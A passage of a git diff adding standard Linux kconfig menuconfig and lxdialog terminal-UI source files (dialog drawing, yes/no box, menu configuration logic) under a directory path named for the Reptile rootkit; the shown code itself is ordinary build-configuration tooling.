word of a new sentence, and it is + short, and the next word does not fit. */ + room = width - cur_x; + wlen = strlen(word); + if (wlen > room || + (newl && wlen < 4 && sp + && wlen + 1 + strlen(sp) > room + && (!(sp2 = strpbrk(sp, "\n ")) + || wlen + 1 + (sp2 - sp) > room))) { + cur_y++; + cur_x = x; + } + wmove(win, cur_y, cur_x); + waddstr(win, word); + getyx(win, cur_y, cur_x); + + /* Move to the next line if the word separator was a newline */ + if (newline_separator) { + cur_y++; + cur_x = x; + newline_separator = 0; + } else + cur_x++; + + if (sp && *sp == ' ') { + cur_x++; /* double space */ + while (*++sp == ' ') ; + newl = 1; + } else + newl = 0; + word = sp; + } + } +} + +/* + * Print a button + */ +void print_button(WINDOW * win, const char *label, int y, int x, int selected) +{ + int i, temp; + + wmove(win, y, x); + wattrset(win, selected ? dlg.button_active.atr + : dlg.button_inactive.atr); + waddstr(win, "<"); + temp = strspn(label, " "); + label += temp; + wattrset(win, selected ? dlg.button_label_active.atr + : dlg.button_label_inactive.atr); + for (i = 0; i < temp; i++) + waddch(win, ' '); + wattrset(win, selected ? dlg.button_key_active.atr + : dlg.button_key_inactive.atr); + waddch(win, label[0]); + wattrset(win, selected ? dlg.button_label_active.atr + : dlg.button_label_inactive.atr); + waddstr(win, (char *)label + 1); + wattrset(win, selected ? dlg.button_active.atr + : dlg.button_inactive.atr); + waddstr(win, ">"); + wmove(win, y, x + temp + 1); +} + +/* + * Draw a rectangular box with line drawing characters + */ +void +draw_box(WINDOW * win, int y, int x, int height, int width, + chtype box, chtype border) +{ + int i, j; + + wattrset(win, 0); + for (i = 0; i < height; i++) { + wmove(win, y + i, x); + for (j = 0; j < width; j++) + if (!i && !j) + waddch(win, border | ACS_ULCORNER); + else if (i == height - 1 && !j) + waddch(win, border | ACS_LLCORNER); + else if (!i && j == width - 1) + waddch(win, box | ACS_URCORNER); + else if (i == height - 1 && j == width - 1) + waddch(win, box | ACS_LRCORNER); + else if (!i) + waddch(win, border | ACS_HLINE); + else if (i == height - 1) + waddch(win, box | ACS_HLINE); + else if (!j) + waddch(win, border | ACS_VLINE); + else if (j == width - 1) + waddch(win, box | ACS_VLINE); + else + waddch(win, box | ' '); + } +} + +/* + * Draw shadows along the right and bottom edge to give a more 3D look + * to the boxes + */ +void draw_shadow(WINDOW * win, int y, int x, int height, int width) +{ + int i; + + if (has_colors()) { /* Whether terminal supports color? */ + wattrset(win, dlg.shadow.atr); + wmove(win, y + height, x + 2); + for (i = 0; i < width; i++) + waddch(win, winch(win) & A_CHARTEXT); + for (i = y + 1; i < y + height + 1; i++) { + wmove(win, i, x + width); + waddch(win, winch(win) & A_CHARTEXT); + waddch(win, winch(win) & A_CHARTEXT); + } + wnoutrefresh(win); + } +} + +/* + * Return the position of the first alphabetic character in a string. + */ +int first_alpha(const char *string, const char *exempt) +{ + int i, in_paren = 0, c; + + for (i = 0; i < strlen(string); i++) { + c = tolower(string[i]); + + if (strchr("<[(", c)) + ++in_paren; + if (strchr(">])", c) && in_paren > 0) + --in_paren; + + if ((!in_paren) && isalpha(c) && strchr(exempt, c) == 0) + return i; + } + + return 0; +} + +/* + * ncurses uses ESC to detect escaped char sequences. This resutl in + * a small timeout before ESC is actually delivered to the application. + * lxdialog suggest which is correctly translated to two + * times esc. But then we need to ignore the second esc to avoid stepping + * out one menu too much. Filter away all escaped key sequences since + * keypad(FALSE) turn off ncurses support for escape sequences - and thats + * needed to make notimeout() do as expected. + */ +int on_key_esc(WINDOW *win) +{ + int key; + int key2; + int key3; + + nodelay(win, TRUE); + keypad(win, FALSE); + key = wgetch(win); + key2 = wgetch(win); + do { + key3 = wgetch(win); + } while (key3 != ERR); + nodelay(win, FALSE); + keypad(win, TRUE); + if (key == KEY_ESC && key2 == ERR) + return KEY_ESC; + else if (key != ERR && key != KEY_ESC && key2 == ERR) + ungetch(key); + + return -1; +} + +/* redraw screen in new size */ +int on_key_resize(void) +{ + dialog_clear(); + return KEY_RESIZE; +} + +struct dialog_list *item_cur; +struct dialog_list item_nil; +struct dialog_list *item_head; + +void item_reset(void) +{ + struct dialog_list *p, *next; + + for (p = item_head; p; p = next) { + next = p->next; + free(p); + } + item_head = NULL; + item_cur = &item_nil; +} + +void item_make(const char *fmt, ...) +{ + va_list ap; + struct dialog_list *p = malloc(sizeof(*p)); + + if (item_head) + item_cur->next = p; + else + item_head = p; + item_cur = p; + memset(p, 0, sizeof(*p)); + + va_start(ap, fmt); + vsnprintf(item_cur->node.str, sizeof(item_cur->node.str), fmt, ap); + va_end(ap); +} + +void item_add_str(const char *fmt, ...) +{ + va_list ap; + size_t avail; + + avail = sizeof(item_cur->node.str) - strlen(item_cur->node.str); + + va_start(ap, fmt); + vsnprintf(item_cur->node.str + strlen(item_cur->node.str), + avail, fmt, ap); + item_cur->node.str[sizeof(item_cur->node.str) - 1] = '\0'; + va_end(ap); +} + +void item_set_tag(char tag) +{ + item_cur->node.tag = tag; +} +void item_set_data(void *ptr) +{ + item_cur->node.data = ptr; +} + +void item_set_selected(int val) +{ + item_cur->node.selected = val; +} + +int item_activate_selected(void) +{ + item_foreach() + if (item_is_selected()) + return 1; + return 0; +} + +void *item_data(void) +{ + return item_cur->node.data; +} + +char item_tag(void) +{ + return item_cur->node.tag; +} + +int item_count(void) +{ + int n = 0; + struct dialog_list *p; + + for (p = item_head; p; p = p->next) + n++; + return n; +} + +void item_set(int n) +{ + int i = 0; + item_foreach() + if (i++ == n) + return; +} + +int item_n(void) +{ + int n = 0; + struct dialog_list *p; + + for (p = item_head; p; p = p->next) { + if (p == item_cur) + return n; + n++; + } + return 0; +} + +const char *item_str(void) +{ + return item_cur->node.str; +} + +int item_is_selected(void) +{ + return (item_cur->node.selected != 0); +} + +int item_is_tag(char tag) +{ + return (item_cur->node.tag == tag); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c new file mode 100644 index 0000000..676fb2f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/lxdialog/yesno.c @@ -0,0 +1,114 @@ +/* + * yesno.c -- implements the yes/no box + * + * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) + * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include "dialog.h" + +/* + * Display termination buttons + */ +static void print_buttons(WINDOW * dialog, int height, int width, int selected) +{ + int x = width / 2 - 10; + int y = height - 2; + + print_button(dialog, gettext(" Yes "), y, x, selected == 0); + print_button(dialog, gettext(" No "), y, x + 13, selected == 1); + + wmove(dialog, y, x + 1 + 13 * selected); + wrefresh(dialog); +} + +/* + * Display a dialog box with two buttons - Yes and No + */ +int dialog_yesno(const char *title, const char *prompt, int height, int width) +{ + int i, x, y, key = 0, button = 0; + WINDOW *dialog; + +do_resize: + if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN)) + return -ERRDISPLAYTOOSMALL; + if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN)) + return -ERRDISPLAYTOOSMALL; + + /* center dialog box on screen */ + x = (getmaxx(stdscr) - width) / 2; + y = (getmaxy(stdscr) - height) / 2; + + draw_shadow(stdscr, y, x, height, width); + + dialog = newwin(height, width, y, x); + keypad(dialog, TRUE); + + draw_box(dialog, 0, 0, height, width, + dlg.dialog.atr, dlg.border.atr); + wattrset(dialog, dlg.border.atr); + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + for (i = 0; i < width - 2; i++) + waddch(dialog, ACS_HLINE); + wattrset(dialog, dlg.dialog.atr); + waddch(dialog, ACS_RTEE); + + print_title(dialog, title, width); + + wattrset(dialog, dlg.dialog.atr); + print_autowrap(dialog, prompt, width - 2, 1, 3); + + print_buttons(dialog, height, width, 0); + + while (key != KEY_ESC) { + key = wgetch(dialog); + switch (key) { + case 'Y': + case 'y': + delwin(dialog); + return 0; + case 'N': + case 'n': + delwin(dialog); + return 1; + + case TAB: + case KEY_LEFT: + case KEY_RIGHT: + button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button); + + print_buttons(dialog, height, width, button); + wrefresh(dialog); + break; + case ' ': + case '\n': + delwin(dialog); + return button; + case KEY_ESC: + key = on_key_esc(dialog); + break; + case KEY_RESIZE: + delwin(dialog); + on_key_resize(); + goto do_resize; + } + } + + delwin(dialog); + return key; /* ESC pressed */ +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c new file mode 100644 index 0000000..3151255 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" +"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " + "Legend: [*] feature is selected [ ] feature is excluded"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + item_make("{%c}", ch); + else + item_make("<%c>", ch); + } else + item_make("-%c-", ch); + item_set_tag('t'); + item_set_data(menu); + break; + default: + tmp = 2 + strlen(sym_get_string_value(sym)); /* () = 2 */ + item_make("(%s)", sym_get_string_value(sym)); + tmp = indent - tmp + 4; + if (tmp < 0) + tmp = 0; + item_add_str("%*c%s%s", tmp, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + item_set_tag('s'); + item_set_data(menu); + goto conf_childs; + } + } + item_add_str("%*c%s%s", indent + 1, ' ', _(menu_get_prompt(menu)), + (sym_has_value(sym) || !sym_is_changable(sym)) ? + "" : _(" (NEW)")); + if (menu->prompt->type == P_MENU) { + item_add_str(" %s", menu_is_empty(menu) ? "----" : "--->"); + return; + } + } + +conf_childs: + indent += doint; + for (child = menu->list; child; child = child->next) + build_conf(child); + indent -= doint; +} + +static void conf(struct menu *menu, struct menu *active_menu) +{ + struct menu *submenu; + const char *prompt = menu_get_prompt(menu); + struct subtitle_part stpart; + struct symbol *sym; + int res; + int s_scroll = 0; + + if (menu != &rootmenu) + stpart.text = menu_get_prompt(menu); + else + stpart.text = NULL; + list_add_tail(&stpart.entries, &trail); + + while (1) { + item_reset(); + current_menu = menu; + build_conf(menu); + if (!child_count) + break; + set_subtitle(); + dialog_clear(); + res = dialog_menu(prompt ? _(prompt) : _("Main Menu"), + _(menu_instructions), + active_menu, &s_scroll); + if (res == 1 || res == KEY_ESC || res == -ERRDISPLAYTOOSMALL) + break; + if (item_count() != 0) { + if (!item_activate_selected()) + continue; + if (!item_tag()) + continue; + } + submenu = item_data(); + active_menu = item_data(); + if (submenu) + sym = submenu->sym; + else + sym = NULL; + + switch (res) { + case 0: + switch (item_tag()) { + case 'm': + if (single_menu_mode) + submenu->data = (void *) (long) !submenu->data; + else + conf(submenu, NULL); + break; + case 't': + if (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes) + conf_choice(submenu); + else if (submenu->prompt->type == P_MENU) + conf(submenu, NULL); + break; + case 's': + conf_string(submenu); + break; + } + break; + case 2: + if (sym) + show_help(submenu); + else { + reset_subtitle(); + show_helptext(_("README"), _(mconf_readme)); + } + break; + case 3: + reset_subtitle(); + conf_save(); + break; + case 4: + reset_subtitle(); + conf_load(); + break; + case 5: + if (item_is_tag('t')) { + if (sym_set_tristate_value(sym, yes)) + break; + if (sym_set_tristate_value(sym, mod)) + show_textbox(NULL, setmod_text, 6, 74); + } + break; + case 6: + if (item_is_tag('t')) + sym_set_tristate_value(sym, no); + break; + case 7: + if (item_is_tag('t')) + sym_set_tristate_value(sym, mod); + break; + case 8: + if (item_is_tag('t')) + sym_toggle_tristate_value(sym); + else if (item_is_tag('m')) + conf(submenu, NULL); + break; + case 9: + search_conf(); + break; + case 10: + show_all_options = !show_all_options; + break; + } + } + + list_del(trail.prev); +} + +static int show_textbox_ext(const char *title, char *text, int r, int c, int + *keys, int *vscroll, int *hscroll, update_text_fn + update_text, void *data) +{ + dialog_clear(); + return dialog_textbox(title, text, r, c, keys, vscroll, hscroll, + update_text, data); +} + +static void show_textbox(const char *title, const char *text, int r, int c) +{ + show_textbox_ext(title, (char *) text, r, c, (int []) {0}, NULL, NULL, + NULL, NULL); +} + +static void show_helptext(const char *title, const char *text) +{ + show_textbox(title, text, 0, 0); +} + +static void conf_message_callback(const char *fmt, va_list ap) +{ + char buf[PATH_MAX+1]; + + vsnprintf(buf, sizeof(buf), fmt, ap); + if (save_and_exit) + printf("%s", buf); + else + show_textbox(NULL, buf, 6, 60); +} + +static void show_help(struct menu *menu) +{ + struct gstr help = str_new(); + + help.max_width = getmaxx(stdscr) - 10; + menu_get_ext_help(menu, &help); + + show_helptext(_(menu_get_prompt(menu)), str_get(&help)); + str_free(&help); +} + +static void conf_choice(struct menu *menu) +{ + const char *prompt = _(menu_get_prompt(menu)); + struct menu *child; + struct symbol *active; + + active = sym_get_choice_value(menu->sym); + while (1) { + int res; + int selected; + item_reset(); + + current_menu = menu; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (child->sym) + item_make("%s", _(menu_get_prompt(child))); + else { + item_make("*** %s ***", _(menu_get_prompt(child))); + item_set_tag(':'); + } + item_set_data(child); + if (child->sym == active) + item_set_selected(1); + if (child->sym == sym_get_choice_value(menu->sym)) + item_set_tag('X'); + } + dialog_clear(); + res = dialog_checklist(prompt ? _(prompt) : _("Main Menu"), + _(radiolist_instructions), + MENUBOX_HEIGTH_MIN, + MENUBOX_WIDTH_MIN, + CHECKLIST_HEIGTH_MIN); + selected = item_activate_selected(); + switch (res) { + case 0: + if (selected) { + child = item_data(); + if (!child->sym) + break; + + sym_set_tristate_value(child->sym, yes); + } + return; + case 1: + if (selected) { + child = item_data(); + show_help(child); + active = child->sym; + } else + show_help(menu); + break; + case KEY_ESC: + return; + case -ERRDISPLAYTOOSMALL: + return; + } + } +} + +static void conf_string(struct menu *menu) +{ + const char *prompt = menu_get_prompt(menu); + + while (1) { + int res; + const char *heading; + + switch (sym_get_type(menu->sym)) { + case S_INT: + heading = _(inputbox_instructions_int); + break; + case S_HEX: + heading = _(inputbox_instructions_hex); + break; + case S_STRING: + heading = _(inputbox_instructions_string); + break; + default: + heading = _("Internal mconf error!"); + } + dialog_clear(); + res = dialog_inputbox(prompt ? _(prompt) : _("Main Menu"), + heading, 10, 75, + sym_get_string_value(menu->sym)); + switch (res) { + case 0: + if (sym_set_string_value(menu->sym, dialog_input_result)) + return; + show_textbox(NULL, _("You have made an invalid entry."), 5, 43); + break; + case 1: + show_help(menu); + break; + case KEY_ESC: + return; + } + } +} + +static void conf_load(void) +{ + + while (1) { + int res; + dialog_clear(); + res = dialog_inputbox(NULL, load_config_text, + 11, 55, filename); + switch(res) { + case 0: + if 